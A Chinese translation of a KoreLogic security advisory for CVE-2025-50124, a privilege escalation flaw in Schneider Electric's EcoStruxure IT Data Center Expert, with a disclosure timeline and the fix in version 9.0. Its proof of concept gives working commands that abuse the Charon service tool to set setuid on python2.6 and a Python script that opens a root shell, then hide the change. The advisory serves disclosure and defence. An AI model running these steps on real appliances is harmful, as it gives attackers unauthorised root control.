施耐德电气数据中心专家权限提升漏洞分析

本文详细分析了施耐德电气EcoStruxure IT Data Center Expert软件中的权限提升漏洞(CVE-2025-50124),包括技术细节、漏洞利用方法和修复建议,涉及Charon可执行文件的配置错误和权限分配问题。

KL-001-2025-010:施耐德电气EcoStruxure IT Data Center Expert权限提升漏洞

标题:施耐德电气EcoStruxure IT Data Center Expert权限提升
公告ID:KL-001-2025-010
发布日期:2025-07-09
公告URL:https://korelogic.com/Resources/Advisories/KL-001-2025-010.txt

1. 漏洞详情

  • 受影响厂商:施耐德电气
  • 受影响产品:EcoStruxure IT Data Center Expert
  • 受影响版本:8.3及更早版本
  • 平台:CentOS
  • CWE分类:CWE-266:权限分配错误
  • CVE ID:CVE-2025-50124

2. 漏洞描述

Data Center Expert(“DCE”)设备包含一个Charon可执行文件,低权限攻击者可以利用该文件获取root权限。Charon可执行文件及其配置似乎是用于在DCE设备中添加和删除服务的本地方法。

3. 技术描述

DCE设备上默认的低权限用户账户仅限于非常特定的功能和有限的shell/菜单界面。DCE设备的设计似乎不允许任意或客户特定的低权限用户账户。然而,如果通过某种方法获得了低权限shell,则可以利用Charon可执行文件获取root权限。

研究人员通过.bcsetup脚本中的主机名RCE漏洞(CVE-2025-50123/KL-001-2025-009)获得root级权限后,在设备上添加(即useradd)了一个低权限账户。设置低权限账户的目的是查看是否存在权限提升路径,以防攻击者能够获得设备上的低权限账户/shell。

Charon可执行文件及相关配置文件(/etc/nbc/cerberus.cfg)允许执行以root权限运行的“start”和“stop”命令。低权限攻击者可以分配自己的Charon“应用程序”,并定义攻击者指定的“start”和“stop”命令,如下所示。

4. 缓解和修复建议

EcoStruxure IT Data Center Expert的9.0版本包含了针对这些漏洞的修复,可通过施耐德电气客户服务中心请求获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf。

5. 致谢

该漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21:KoreLogic向施耐德电气CPCERT报告漏洞详情。
  • 2024-11-22:厂商确认收到KoreLogic的提交。
  • 2024-12-06:厂商确认报告的漏洞。
  • 2024-12-12:厂商请求与KoreLogic会面,讨论该漏洞及相关提交的修复时间线。
  • 2024-12-18:KoreLogic和施耐德电气同意将漏洞详情 embargo 至产品更新9.0,大约在2025年7月。
  • 2025-01-29:厂商提供状态更新。
  • 2025-03-17:厂商提供包含针对该漏洞及KoreLogic报告的其他相关漏洞修复的测试版。
  • 2025-06-20:厂商通知KoreLogic该漏洞的公开披露日期为2025-07-08。
  • 2025-07-08:厂商公开披露。
  • 2025-07-09:KoreLogic公开披露。

7. 概念验证

攻击者列出设备上当前配置的Charon应用程序:

1
2
3
4
5
6
7
8
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon list
Tue Jun  4 08:37:37 2024 - loading configuration
Application # 0
  name=NBC
  pre="NONE"
  start="/usr/local/netbotz/nbc/bin/central.sh"
  stop="/usr/local/netbotz/nbc/bin/central.sh stop"
  sort=15

攻击者向设备添加一个名为“root-it”的新Charon应用程序。该应用程序启动时将执行“/bin/chmod u+s /usr/bin/python2.6”命令,停止时将执行“/bin/chmod u-s /usr/bin/python2.6”。

1
2
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon add root-it "/bin/chmod u+s /usr/bin/python2.6" "/bin/chmod u-s /usr/bin/python2.6" 1 NONE
Added application root-it

以下命令显示python2.6可执行文件未设置setuid root。

1
2
[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwxr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6

cerberus.cfg文件包含Charon应用程序及其配置。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
[attacker@xyzzy ~]$ cat /etc/nbc/cerberus.cfg
#
# Cerberus Config File
#

[NBC]
sort=15
pre=NONE
start=/usr/local/netbotz/nbc/bin/central.sh
stop=/usr/local/netbotz/nbc/bin/central.sh stop

[root-it]
sort=1
pre=NONE
start=/bin/chmod u+s /usr/bin/python2.6
stop=/bin/chmod u-s /usr/bin/python2.6

攻击者启动“root-it”应用程序:

1
2
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon start root-it
Started application root-it with pid 19556

python2.6可执行文件现在设置了setuid root。

1
2
[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwsr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6

一个简单的Python脚本可以利用setuid root的python2.6可执行文件获取root shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[attacker@xyzzy ~]$ cat ./root-it.py
import os

os.setuid(0)
os.system("/bin/bash")

[attacker@xyzzy ~]$ id
uid=503(attacker) gid=503(attacker) groups=503(attacker)

[attacker@xyzzy ~]$ /usr/bin/python2.6 ./root-it.py

[root@xyzzy ~]# id
uid=0(root) gid=503(attacker) groups=503(attacker)

[root@xyzzy ~]# exit

[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwsr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6

攻击者可以停止“root-it”应用程序以移除python2.6可执行文件的setuid root权限。

1
2
3
4
5
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon stop root-it
Killed application root-it

[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwxr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6

本公告内容版权归KoreLogic, Inc.所有,并遵循知识共享署名-相同方式共享4.0(美国)许可协议:http://creativecommons.org/licenses/by-sa/4.0/。

KoreLogic, Inc.是一家创始人拥有和运营的公司,在为财富500强及中小型企业提供安全服务方面有着良好的记录。我们是一支技术精湛的高级安全顾问团队,为美国及全球最重要的网络进行手工安全评估。我们还开发了各种工具和资源,旨在帮助安全社区。https://www.korelogic.com/about-korelogic.html

我们的公共漏洞披露政策可在以下网址查看:https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

附件: OpenPGP_signature.asc 描述:OpenPGP数字签名

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计